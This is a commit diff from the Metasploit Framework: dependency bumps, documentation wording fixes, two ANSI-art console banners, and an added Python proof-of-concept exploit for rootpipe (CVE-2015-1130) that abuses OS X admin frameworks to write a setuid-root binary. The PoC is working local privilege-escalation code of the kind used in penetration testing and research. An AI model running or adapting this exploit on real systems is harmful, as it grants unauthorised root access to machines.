commit
a07b68d06b
|
@ -67,17 +67,7 @@ external/source/exploits/**/Release
|
|||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the meterpreter_bins gem.
|
||||
data/meterpreter/elevator.*.dll
|
||||
data/meterpreter/ext_server_espia.*.dll
|
||||
data/meterpreter/ext_server_extapi.*.dll
|
||||
data/meterpreter/ext_server_incognito.*.dll
|
||||
data/meterpreter/ext_server_kiwi.*.dll
|
||||
data/meterpreter/ext_server_lanattacks.*.dll
|
||||
data/meterpreter/ext_server_mimikatz.*.dll
|
||||
data/meterpreter/ext_server_priv.*.dll
|
||||
data/meterpreter/ext_server_stdapi.*.dll
|
||||
data/meterpreter/metsrv.*.dll
|
||||
data/meterpreter/screenshot.*.dll
|
||||
data/meterpreter/*.dll
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
|
|
|
@ -38,3 +38,6 @@ branches:
|
|||
except:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
|
||||
addons:
|
||||
postgresql: '9.3'
|
|
@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
|
|||
world -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
||||
Please try to be as specific as you can about your problem, include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful), and
|
||||
Please try to be as specific as you can about your problem; include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful) and
|
||||
what you were expecting to happen.
|
||||
|
||||
Are you about to report a security vulnerability in Metasploit itself?
|
||||
|
@ -18,7 +18,7 @@ Metasploit module? If so, read on...
|
|||
|
||||
# Contributing to Metasploit
|
||||
|
||||
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
|
||||
What you see here in CONTRIBUTING.md is a bullet point list of the do's
|
||||
and don'ts of how to make sure *your* valuable contributions actually
|
||||
make it into Metasploit's master branch.
|
||||
|
||||
|
@ -27,7 +27,7 @@ closed. Sorry!
|
|||
|
||||
This is intended to be a **short** list. The [wiki] is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup] guide,
|
||||
look at the standard [development environment setup] guide
|
||||
and Metasploit's [Common Coding Mistakes].
|
||||
|
||||
## Code Contributions
|
||||
|
@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
||||
|
@ -80,11 +80,11 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Don't** file duplicate reports - search for your bug before filing a new report.
|
||||
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||
|
||||
If you need some more guidance, talk to the main body of open
|
||||
source contributors over on the [Freenode IRC channel]
|
||||
or e-mail us at [metasploit-hackers] mailing list.
|
||||
source contributors over on the [Freenode IRC channel],
|
||||
or e-mail us at the [metasploit-hackers] mailing list.
|
||||
|
||||
Also, **thank you** for taking the few moments to read this far! You're
|
||||
already way ahead of the curve, so keep it up!
|
||||
|
@ -92,7 +92,7 @@ already way ahead of the curve, so keep it up!
|
|||
[Issue Tracker]:http://r-7.co/MSF-BUGv1
|
||||
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
|
||||
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
|
||||
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[development environment setup]:http://r-7.co/MSF-DEV
|
||||
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||
|
@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
|
|||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api/
|
||||
[RSpec]:http://rspec.info/
|
||||
[Better Specs]:http://betterspecs.org/
|
||||
[YARD]:http://yardoc.org/
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://betterspecs.org
|
||||
[YARD]:http://yardoc.org
|
||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
|
||||
|
|
40
Gemfile.lock
40
Gemfile.lock
|
@ -7,9 +7,9 @@ PATH
|
|||
bcrypt
|
||||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-concern (= 0.4.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
meterpreter_bins (= 0.0.16)
|
||||
meterpreter_bins (= 0.0.22)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -22,9 +22,9 @@ PATH
|
|||
tzinfo
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
activerecord (>= 3.2.21, < 4.0.0)
|
||||
metasploit-credential (~> 0.14.3)
|
||||
metasploit-credential (= 0.14.5)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
metasploit_data_models (= 0.24.0)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
|
@ -101,45 +101,45 @@ GEM
|
|||
gherkin (2.11.6)
|
||||
json (>= 1.7.6)
|
||||
hike (1.2.3)
|
||||
i18n (0.6.11)
|
||||
i18n (0.7.0)
|
||||
journey (1.0.4)
|
||||
jsobfu (0.2.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.1)
|
||||
json (1.8.2)
|
||||
mail (2.5.4)
|
||||
mime-types (~> 1.16)
|
||||
treetop (~> 1.4.8)
|
||||
metasploit-concern (0.3.0)
|
||||
metasploit-concern (0.4.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.14.3)
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-credential (0.14.5)
|
||||
metasploit-concern (= 0.4.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
metasploit_data_models (= 0.24.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
metasploit-model (0.29.0)
|
||||
metasploit-model (0.29.2)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit_data_models (0.23.1)
|
||||
metasploit_data_models (0.24.0)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-concern (= 0.4.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
recog (~> 1.0)
|
||||
meterpreter_bins (0.0.16)
|
||||
meterpreter_bins (0.0.22)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mini_portile (0.6.1)
|
||||
mini_portile (0.6.2)
|
||||
msgpack (0.5.11)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.5)
|
||||
nokogiri (1.6.6.2)
|
||||
mini_portile (~> 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
|
@ -154,7 +154,7 @@ GEM
|
|||
rack (>= 0.4)
|
||||
rack-ssl (1.3.4)
|
||||
rack
|
||||
rack-test (0.6.2)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails (3.2.21)
|
||||
actionmailer (= 3.2.21)
|
||||
|
@ -175,9 +175,9 @@ GEM
|
|||
rb-readline-r7 (0.5.2.0)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
recog (1.0.16)
|
||||
recog (1.0.27)
|
||||
nokogiri
|
||||
redcarpet (3.1.2)
|
||||
redcarpet (3.2.3)
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec (2.99.0)
|
||||
|
@ -219,7 +219,7 @@ GEM
|
|||
treetop (1.4.15)
|
||||
polyglot
|
||||
polyglot (>= 0.3.1)
|
||||
tzinfo (0.3.42)
|
||||
tzinfo (0.3.43)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.4)
|
||||
|
|
12
README.md
12
README.md
|
@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
|
|||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
||||
The latest version of this software is available from https://metasploit.com/
|
||||
The latest version of this software is available from: https://metasploit.com
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
|
|||
Installing
|
||||
--
|
||||
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download)
|
||||
which contains all dependencies and will get you up and running with a
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download),
|
||||
which contains all of the dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
|
||||
|
@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
|
|||
|
||||
Contributing
|
||||
--
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
|
||||
walk you through the whole process starting from installing all the
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
|
||||
walk you through the whole process from installing all the
|
||||
dependencies, to cloning the repository, and finally to submitting a
|
||||
pull request. For slightly more info, see
|
||||
pull request. For slightly more information, see
|
||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,73 @@
|
|||
########################################################
|
||||
#
|
||||
# PoC exploit code for rootpipe (CVE-2015-1130)
|
||||
#
|
||||
# Created by Emil Kvarnhammar, TrueSec
|
||||
#
|
||||
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
|
||||
#
|
||||
########################################################
|
||||
import os
|
||||
import sys
|
||||
import platform
|
||||
import re
|
||||
import ctypes
|
||||
import objc
|
||||
import sys
|
||||
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
|
||||
from Foundation import NSAutoreleasePool
|
||||
|
||||
def load_lib(append_path):
|
||||
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
|
||||
|
||||
def use_old_api():
|
||||
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
|
||||
|
||||
|
||||
args = sys.argv
|
||||
|
||||
if len(args) != 3:
|
||||
print "usage: exploit.py source_binary dest_binary_as_root"
|
||||
sys.exit(-1)
|
||||
|
||||
source_binary = args[1]
|
||||
dest_binary = os.path.realpath(args[2])
|
||||
|
||||
if not os.path.exists(source_binary):
|
||||
raise Exception("file does not exist!")
|
||||
|
||||
pool = NSAutoreleasePool.alloc().init()
|
||||
|
||||
attr = NSMutableDictionary.alloc().init()
|
||||
attr.setValue_forKey_(04777, NSFilePosixPermissions)
|
||||
data = NSData.alloc().initWithContentsOfFile_(source_binary)
|
||||
|
||||
print "will write file", dest_binary
|
||||
|
||||
if use_old_api():
|
||||
adm_lib = load_lib("/Admin.framework/Admin")
|
||||
Authenticator = objc.lookUpClass("Authenticator")
|
||||
ToolLiaison = objc.lookUpClass("ToolLiaison")
|
||||
SFAuthorization = objc.lookUpClass("SFAuthorization")
|
||||
|
||||
authent = Authenticator.sharedAuthenticator()
|
||||
authref = SFAuthorization.authorization()
|
||||
|
||||
# authref with value nil is not accepted on OS X <= 10.8
|
||||
authent.authenticateUsingAuthorizationSync_(authref)
|
||||
st = ToolLiaison.sharedToolLiaison()
|
||||
tool = st.tool()
|
||||
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
|
||||
else:
|
||||
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
|
||||
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
|
||||
client = WriteConfigClient.sharedClient()
|
||||
client.authenticateUsingAuthorizationSync_(None)
|
||||
tool = client.remoteProxy()
|
||||
|
||||
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
|
||||
|
||||
|
||||
print "Done!"
|
||||
|
||||
del pool
|
|
@ -0,0 +1,35 @@
|
|||
[0m[0m _________________________________________________ [0m
|
||||
[0m< This console just got 20% cooler[0m >[0m
|
||||
[0m ------------------------------------------------- [0m[00m
|
||||
[0m/[0m[00m
|
||||
[0m/[0m [00m
|
||||
[38;5;74m▀▄▄▄▄▄▄▄▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀▀[48;5;54m▄▄▄▄▄[48;5;74m█[38;5;54m▄▄▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m███[38;5;113m▄▄[38;5;229m▄▄[38;5;74m██[48;5;54m▄[38;5;54m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m██[38;5;113m▄[48;5;113m█[38;5;229m▄▄[48;5;229m█[38;5;209m▄▄[38;5;229m██[48;5;74;38;5;113m▄[38;5;74m█[48;5;54;38;5;54m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;113;38;5;113m█[38;5;229m▄[48;5;229m███[48;5;209;38;5;209m██[38;5;203m▄[38;5;209m██[48;5;229m▄[48;5;113;38;5;229m▄[48;5;74;38;5;74m█[38;5;54m▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;113;38;5;113m██[48;5;229;38;5;229m███[48;5;209;38;5;209m█[38;5;203m▄[48;5;203m██[38;5;74m▄[49m▀▀[48;5;209m▄[48;5;113;38;5;229m▄[48;5;74;38;5;74m██[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m██[48;5;113;38;5;113m██[48;5;229;38;5;229m██[48;5;209;38;5;209m██[48;5;203;38;5;203m█[48;5;74;38;5;74m█[48;5;203m▄[48;5;74;38;5;209m▄[49;38;5;74m▄[39m [48;5;74;38;5;74m█[48;5;209;38;5;209m█[48;5;74;38;5;113m▄[38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m██[48;5;113m▄[38;5;113m█[48;5;229;38;5;229m██[48;5;209;38;5;74m▄[48;5;203;38;5;203m██[48;5;74;38;5;74m█[49;39m [38;5;74m▀▀[39m [48;5;74;38;5;74m█[48;5;203;38;5;203m█[48;5;113;38;5;113m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;74m██[48;5;113;38;5;113m█[48;5;229m▄[38;5;229m█[48;5;74;38;5;74m█[48;5;203;38;5;203m█[38;5;74m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;229;38;5;229m█[48;5;74;38;5;74m█[48;5;209m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;209m▄[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;229;38;5;74m▄[49m▀[48;5;74m█[49;39m [38;5;74m▄▄[48;5;74;38;5;117m▄▄▄▄[49;38;5;74m▄▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;113m▄[48;5;74m█[49;39m [38;5;74m▀[39m [38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[38;5;231m▄[38;5;117m██████[48;5;74m▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;74m█[49;39m [48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;203;38;5;203m█[48;5;231;38;5;229m▄[38;5;231m██[48;5;117;38;5;117m██████[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;117;38;5;117m█[48;5;203;38;5;203m█[48;5;229;38;5;117m▄[48;5;74m▄[48;5;117m████████[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m████[38;5;74m▄[38;5;117m██████[38;5;74m▄[49m▀[39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m███[48;5;74;38;5;74m█[48;5;117m▄▄[48;5;74m█[48;5;117;38;5;117m███████[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m███[38;5;74m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;117m▄[38;5;117m██████[48;5;74;38;5;74m█[49;39m [38;5;74m▄▄▄[48;5;74;38;5;203m▄▄▄[49;38;5;74m▄▄▄[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m████[48;5;74;38;5;74m█[49;39m [38;5;74m▄[48;5;74m█[38;5;117m▄[48;5;117m██[38;5;74m▄[38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74m▄[38;5;74m█[38;5;229m▄[48;5;229m█[48;5;209m▄▄[38;5;209m██[48;5;203m▄▄[38;5;203m██[48;5;74m▄[38;5;74m█[49m▀[39m [00m
|
||||
[38;5;74m▀[48;5;117m▄[38;5;117m██[38;5;74m▄[49m▀▄[48;5;74;38;5;117m▄▄[48;5;117m███[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;110;38;5;74m▄[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;229m▄▄[38;5;229m███[48;5;209m▄▄[38;5;209m███[48;5;203m▄[38;5;74m▄[48;5;74;38;5;203m▄[49;39m [00m
|
||||
[38;5;74m▀▀[39m [38;5;74m▄[48;5;74m█[48;5;117;38;5;117m████[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m████[48;5;74m▄▄[48;5;229;38;5;74m▄[38;5;229m██[38;5;74m▄[48;5;209;38;5;229m▄[38;5;209m██[48;5;74;38;5;74m█[49m▀[48;5;209m▄[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117m▄[48;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m███[38;5;16m▄[48;5;16;38;5;231m▄▄[48;5;74;38;5;16m▄[48;5;117;38;5;74m▄[38;5;117m█[48;5;74m▄[48;5;229;38;5;74m▄[48;5;74;38;5;117m▄[38;5;16m▄[48;5;229;38;5;74m▄[48;5;209;38;5;209m██[48;5;74;38;5;74m█[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[38;5;117m▄[38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m██[48;5;16;38;5;117m▄[38;5;74m▄[48;5;231;38;5;231m████[48;5;16m▄[48;5;117;38;5;16m▄[38;5;117m██[48;5;16;38;5;74m▄[48;5;231;38;5;231m█[48;5;16;38;5;16m█[49m▀[48;5;209;38;5;74m▄[38;5;209m█[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▀▀[48;5;117m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[38;5;74m▄[48;5;74m██[48;5;117;38;5;117m██[48;5;231;38;5;231m██[38;5;168m▄[48;5;168;38;5;231m▄[48;5;231;38;5;168m▄[48;5;16;38;5;16m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;168;38;5;231m▄[48;5;231;38;5;168m▄[49;39m [38;5;74m▀▀▀[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m██[48;5;113;38;5;113m█[48;5;74m▄[48;5;117;38;5;74m▄[38;5;117m█[48;5;231m▄[48;5;168;38;5;231m▄[48;5;16;38;5;168m▄[48;5;168;38;5;231m▄[48;5;16;38;5;117m▄[48;5;117m██[48;5;74m▄[48;5;16;38;5;74m▄[48;5;168m▄[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m█[38;5;74m▄[48;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m███[48;5;113m▄[48;5;74;38;5;113m▄[48;5;117;38;5;74m▄[38;5;117m█████████[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▀▀[39m [48;5;74;38;5;74m█[48;5;117m▄[48;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[49;39m [48;5;74;38;5;74m█[48;5;54;38;5;54m█[48;5;74;38;5;74m█[48;5;113m▄[38;5;113m█[48;5;74;38;5;110m▄[48;5;117;38;5;74m▄▄▄▄▄▄[49m▀▀[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m███[48;5;74;38;5;74m█[49;39m [48;5;54;38;5;54m█[48;5;74;38;5;74m███[48;5;110m▄[38;5;110m█[48;5;67;38;5;67m█[49;39m [00m
|
||||
[38;5;74m▀[48;5;117m▄[38;5;117m███[48;5;74;38;5;74m█[49;39m [48;5;54;38;5;54m█[48;5;74;38;5;74m█[38;5;110m▄[38;5;74m█[48;5;110;38;5;110m█[48;5;67;38;5;67m█[49;39m [00m
|
||||
[38;5;74m▀[48;5;117m▄▄[49m▀[39m [48;5;54;38;5;54m█[48;5;74;38;5;74m█[49;38;5;67m▀[48;5;74;38;5;74m█[49;38;5;67m▀▀[39m [00m
|
||||
[48;5;74;38;5;74m█[49;39m [00m
|
|
@ -0,0 +1,31 @@
|
|||
[0m[0m __________________ [0m
|
||||
[0m< Shells are cool.[0m >[0m
|
||||
[0m ------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [38;5;52m▄▄▄▄▄▄▄▄▄[39m [00m
|
||||
[48;5;52;38;5;52m█[48;5;88;38;5;88m█████████[48;5;52;38;5;52m█[49;39m [00m
|
||||
[38;5;52m▄[48;5;52;38;5;88m▄[48;5;88m█████████[48;5;52;38;5;52m█[49;39m [00m
|
||||
[38;5;52m▄[48;5;52;38;5;88m▄[48;5;88m██████████[48;5;52;38;5;52m█[49;38;5;234m▄▄[39m [00m
|
||||
[38;5;234m▄[48;5;52;38;5;52m█[48;5;88;38;5;88m█████████[48;5;101;38;5;101m█[38;5;144m▄▄[48;5;236;38;5;101m▄[38;5;236m█[48;5;234m▄[49;38;5;234m▄[39m [00m
|
||||
[38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██[48;5;52m▄▄▄[38;5;101m▄▄▄▄▄▄[48;5;101m█[48;5;144;38;5;144m██[48;5;101m▄[48;5;236;38;5;101m▄[38;5;236m█[48;5;234m▄[49;38;5;234m▄[39m [00m
|
||||
[38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m████[38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m████████[48;5;101;38;5;101m█[48;5;144;38;5;144m█[48;5;101;38;5;101m█[48;5;236;38;5;236m███[48;5;234;38;5;234m█[49;39m [00m
|
||||
[48;5;234;38;5;234m█[48;5;236;38;5;236m████[48;5;101;38;5;101m█[48;5;144;38;5;144m██[38;5;16m▄▄▄▄[38;5;144m██████[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [00m
|
||||
[48;5;234;38;5;234m█[48;5;236;38;5;236m██[48;5;101;38;5;101m█[48;5;144;38;5;144m██[48;5;16;38;5;16m█[38;5;231m▄[48;5;231m█[48;5;57;38;5;57m█[48;5;231;38;5;231m█[48;5;16m▄[48;5;144;38;5;16m▄[38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m███[48;5;234;38;5;234m█[49;39m [00m
|
||||
[38;5;234m▄▄[48;5;234;38;5;236m▄[48;5;236m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;16;38;5;231m▄[38;5;16m█[48;5;63;38;5;153m▄[48;5;231;38;5;231m██[48;5;16;38;5;16m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [38;5;234m▄▄▄▄▄▄[39m [00m
|
||||
[38;5;234m▀[48;5;236m▄▄[48;5;101;38;5;101m█[48;5;144;38;5;144m██████[48;5;153m▄[48;5;231m▄▄[48;5;144m████[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██████[48;5;234m▄▄[38;5;234m█[49m▀[39m [00m
|
||||
[38;5;101m▀[48;5;144m▄▄[48;5;101;38;5;144m▄[48;5;144m██████[38;5;101m▄[38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m█[38;5;234m▄[49m▀[39m [38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██████████[48;5;234;38;5;234m█[49m▄[39m [00m
|
||||
[38;5;101m▀▀▀▀▀▀[48;5;101m█[38;5;144m▄[48;5;144m███[38;5;250m▄[48;5;250;38;5;231m▄[48;5;234m▄[49;38;5;101m▄▄▄[48;5;101;38;5;144m▄▄▄▄▄[48;5;236;38;5;101m▄▄[49;38;5;234m▀▀▀[48;5;236m▄[38;5;236m██████[48;5;234m▄[49;38;5;234m▄[39m[00m
|
||||
[48;5;101;38;5;101m█[48;5;144;38;5;144m██[38;5;250m▄[48;5;250;38;5;231m▄[48;5;231m█[38;5;144m▄[48;5;144m███████[48;5;186;38;5;186m███[48;5;101;38;5;144m▄[49;38;5;101m▄[39m [48;5;234;38;5;234m█[48;5;236;38;5;236m████[48;5;234m▄[48;5;236;38;5;234m▄[48;5;234m█[49;39m[00m
|
||||
[38;5;88m▄[48;5;88m█[48;5;52;38;5;52m█[48;5;231;38;5;231m█[38;5;144m▄[48;5;144m█████████[38;5;186m▄[48;5;186m█[48;5;144m▄[38;5;144m█[48;5;101;38;5;101m█[49;39m [48;5;234;38;5;236m▄[48;5;236;38;5;234m▄[48;5;234m█[48;5;236;38;5;236m██[48;5;234;38;5;234m█[49;39m [38;5;234m▀[39m[00m
|
||||
[38;5;88m▀[38;5;52m▀[48;5;144;38;5;101m▄[38;5;144m███████[48;5;101;38;5;101m█[48;5;144;38;5;144m██[48;5;186m▄▄▄[48;5;144;38;5;101m▄[49m▀[39m [38;5;234m▀▀[39m [48;5;234;38;5;234m█[48;5;236;38;5;236m█[38;5;234m▄[49m▀[39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m███[38;5;101m▄▄▄▄[48;5;101m█[48;5;144m▄[38;5;144m███[48;5;101m▄[49;38;5;101m▄[39m [48;5;234;38;5;234m█[48;5;236m▄[49m▀[39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[49;39m [38;5;95m▀[48;5;137m▄[48;5;101;38;5;137m▄[38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [38;5;234m▀[39m [00m
|
||||
[38;5;95m▄[48;5;95;38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m███[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [00m
|
||||
